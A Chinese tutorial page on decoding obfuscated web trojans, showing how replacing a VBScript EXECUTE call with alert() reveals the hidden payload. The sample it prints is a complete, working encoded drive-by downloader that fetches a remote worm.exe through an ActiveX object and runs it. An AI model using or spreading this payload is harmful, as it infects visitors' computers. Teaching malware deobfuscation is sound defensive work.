当前位置: 首页 > 图文教程 > 网络编程 > Javascript > JS解密入门 最终变量劫持

Javascript
用Javascript实现锚点(Anchor)间平滑跳转
实现png图片和png背景透明(支持多浏览器)的方法
一个用javascript写的select支持上下键、首字母筛选以及回车取值的功能
用DIV完美模拟createPopup 弹出窗口(修正版),支持Firefox,ie,chrome
JavaScript 中级笔记 第一章
IE与Firefox在JavaScript上的7个不同写法小结
MooTools 1.2介绍
Mootools 1.2教程(2) DOM选择器
Mootools 1.2教程(3) 数组使用简介
在IE下获取object(ActiveX)的Param的代码
ExtJS 配置和表格控件使用
javascript 缓冲效果实现代码 推荐
html数组字符串拼接的最快方法
JavaScript 浮动定位提示效果实现代码
类似CSDN图片切换效果脚本
javascript 面向对象编程 function也是类
javascript 面向对象编程 聊聊对象的事
javascript 面向对象编程 function是方法(函数)
[原创]基于innerHTML中的script广告实现代码[广告全部放在一个js里面]
jQuery slider Content(左右控制移动)

Javascript 中的 JS解密入门 最终变量劫持


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-12   浏览: 350 ::
收藏到网摘: n/a

看到我的前几篇文章的朋友应该知道,前面的是10进制,直觉解就行了,不过下面有个处理函数,你用10进制解密出来之后还要去分析函数的功能,很不合算。 如下是一段网马
<Script Language="VBScript">
Cn911="83,61,34,52,70,54,69,50,48,52,53,55,50,55,50,54,70,55,50,50,48,53,50,54,53,55,51,55,53,54,68,54,53,50,48,52,69,54,53,55,56,55,52,48,68,48,65,52,51,54,69,52,67,53,50,53,53,51,68,50,50,54,56,55,52,55,52,55,48,51,65,50,70,50,70,55,55,55,55,55,55,50,69,54,66,55,50,55,54,54,66,55,50,50,69,54,51,54,70,54,68,50,70,55,55,54,70,55,50,54,68,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,70,54,50,50,48,51,68,50,48,54,52,54,70,54,51,55,53,54,68,54,53,54,69,55,52,50,69,54,51,55,50,54,53,54,49,55,52,54,53,52,53,54,67,54,53,54,68,54,53,54,69,55,52,50,56,50,50,54,70,54,50,50,50,50,54,50,50,54,65,54,53,50,50,50,54,50,50,54,51,50,50,50,54,50,50,55,52,50,50,50,57,48,68,48,65,52,70,54,50,50,69,53,51,54,53,55,52,52,49,55,52,55,52,55,50,54,57,54,50,55,53,55,52,54,53,50,48,50,50,54,51,54,67,54,49,50,50,50,54,50,50,55,51,55,51,54,57,54,52,50,50,50,67,50,48,50,50,54,51,50,50,50,54,50,50,54,67,55,51,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,52,51,65,52,50,52,52,51,57,50,50,50,54,50,50,51,54,52,51,51,53,51,53,50,50,50,54,50,50,51,54,50,68,51,54,51,53,50,50,50,54,50,50,52,49,51,51,50,68,51,49,51,49,52,52,51,48,50,50,50,54,50,50,50,68,51,57,51,56,51,51,52,49,50,68,51,48,51,48,52,51,50,50,50,54,50,50,51,48,51,52,52,54,52,51,51,50,51,57,50,50,50,54,50,50,52,53,51,51,51,54,50,50,48,68,48,65,55,51,52,56,53,52,53,52,53,48,51,68,50,50,52,68,50,50,50,54,50,50,54,57,54,51,50,50,50,54,50,50,55,50,54,70,50,50,50,54,50,50,55,51,50,50,50,54,50,50,54,70,54,54,50,50,50,54,50,50,55,52,50,50,50,54,50,50,50,69,53,56,50,50,50,54,50,50,52,68,50,50,50,54,50,50,52,67,50,50,50,54,50,50,52,56,50,50,50,54,50,50,53,52,53,52,50,50,50,54,50,50,53,48,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,48,54,70,55,48,50,48,51,68,50,48,52,70,54,50,50,69,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,52,56,53,52,53,52,53,48,50,67,50,50,50,50,50,57,48,68,48,65,53,48,54,70,55,48,50,69,52,70,55,48,54,53,54,69,50,48,50,50,52,55,50,50,50,54,50,50,52,53,53,52,50,50,50,67,50,48,52,51,54,69,52,67,53,50,53,53,50,67,50,48,52,54,54,49,54,67,55,51,54,53,48,68,48,65,53,48,54,70,55,48,50,69,53,51,54,53,54,69,54,52,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,55,54,54,50,55,51,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,54,53,48,52,57,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,53,51,54,51,55,50,54,57,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,52,54,57,54,69,54,55,50,69,52,54,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,67,54,53,50,50,50,54,50,50,53,51,55,57,50,50,50,54,50,50,55,51,55,52,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,68,52,70,50,50,50,54,50,50,54,50,54,65,54,53,50,50,50,54,50,50,54,51,55,52,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,51,54,53,55,52,50,48,55,51,53,52,54,68,55,48,50,48,51,68,50,48,52,54,53,48,52,57,50,69,52,55,54,53,55,52,53,51,55,48,54,53,54,51,54,57,54,49,54,67,52,54,54,70,54,67,54,52,54,53,55,50,50,56,51,50,50,57,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,57,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,57,48,68,48,65,52,49,52,49,51,68,50,50,52,49,50,50,50,54,50,50,54,52,50,50,48,68,48,65,52,49,52,50,51,68,50,50,54,70,50,50,50,54,50,50,54,52,50,50,50,54,50,50,54,50,50,50,50,54,50,50,50,69,50,50,50,54,50,50,55,51,50,50,50,54,50,50,55,52,55,50,54,53,50,50,50,54,50,50,54,49,54,68,50,50,48,68,48,65,52,49,54,52,52,68,51,68,52,49,52,49,50,54,52,49,52,50,48,68,48,65,53,51,54,53,55,52,50,48,52,50,54,52,54,49,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,52,49,54,52,52,68,50,67,50,50,50,50,50,57,48,68,48,65,52,50,54,52,54,49,50,69,55,52,55,57,55,48,54,53,51,68,51,49,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,50,48,53,48,54,70,55,48,50,69,53,50,54,53,55,51,55,48,54,70,54,69,55,51,54,53,52,50,54,70,54,52,55,57,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,52,50,54,52,54,49,50,69,53,52,55,57,55,48,54,53,51,68,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,53,52,54,53,55,56,55,52,50,48,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,50,50,53,55,55,51,54,51,55,50,54,57,55,48,55,52,50,69,53,51,54,56,54,53,54,67,54,67,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,56,54,53,54,67,54,67,50,69,53,50,55,53,54,69,50,48,50,56,50,50,50,50,50,50,50,54,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,54,50,50,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,69,54,70,55,52,54,56,54,57,54,69,54,55,50,50,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,55,51,53,50,55,53,54,69,51,68,50,50,53,51,50,50,50,54,50,50,54,56,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,67,50,50,50,54,50,50,50,69,50,50,50,54,50,50,52,49,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,48,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,57,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,50,55,53,54,69,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,53,50,55,53,54,69,50,54,50,50,54,51,54,49,55,52,54,57,54,70,54,69,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,50,55,53,54,69,50,69,53,51,54,56,54,53,54,67,54,67,52,53,55,56,54,53,54,51,55,53,55,52,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,50,50,50,50,50,67,50,50,50,50,50,67,50,50,52,70,55,48,54,53,54,69,50,50,50,67,51,48,34,58,68,61,34,69,88,69,67,85,84,69,32,34,34,34,34,34,58,67,61,34,38,67,72,82,40,38,72,34,58,78,61,34,41,34,58,68,79,32,87,72,73,76,69,32,76,69,78,40,83,41,62,49,58,73,70,32,73,83,78,85,77,69,82,73,67,40,76,69,70,84,40,83,44,49,41,41,32,84,72,69,78,32,68,61,68,38,67,38,76,69,70,84,40,83,44,50,41,38,78,58,83,61,77,73,68,40,83,44,51,41,32,69,76,83,69,32,68,61,68,38,67,38,76,69,70,84,40,83,44,52,41,38,78,58,83,61,77,73,68,40,83,44,53,41,13,10,76,79,79,80,58,69,88,69,67,85,84,69,32,68"
'以下是处理的函数
Function Rechange(Q)
S=Split(Q,",")
Cn922=""
For i = 0 To UBound(S)
Cn922=Cn922&Chr(eval(S(i)))
Next
Rechange=Cn922
End Function
'执行这个代码
EXECUTE(Rechange(Cn911))
</Script>
看到我的前几篇文章的朋友应该知道,前面的是10进制,直觉解就行了,不过下面有个处理函数,你用10进制解密出来之后还要去分析函数的功能,很不合算。Rechange这个是处理函数,这个函数的功能我们不知道,不要紧,我们看到最后这里有个EXECUTE(),说明这个就是执行函数,执行的内容是 Rechange(Cn911),我们把EXECUTE改为alert()就行了,也就是把最后一行改为alert(Rechange(Cn911))。
劫持完毕,打开网页,解密的内容弹出来了。
学习要点:对于这种网马,最后一定会有一个最终的变量或是表达式,修改执行函数即可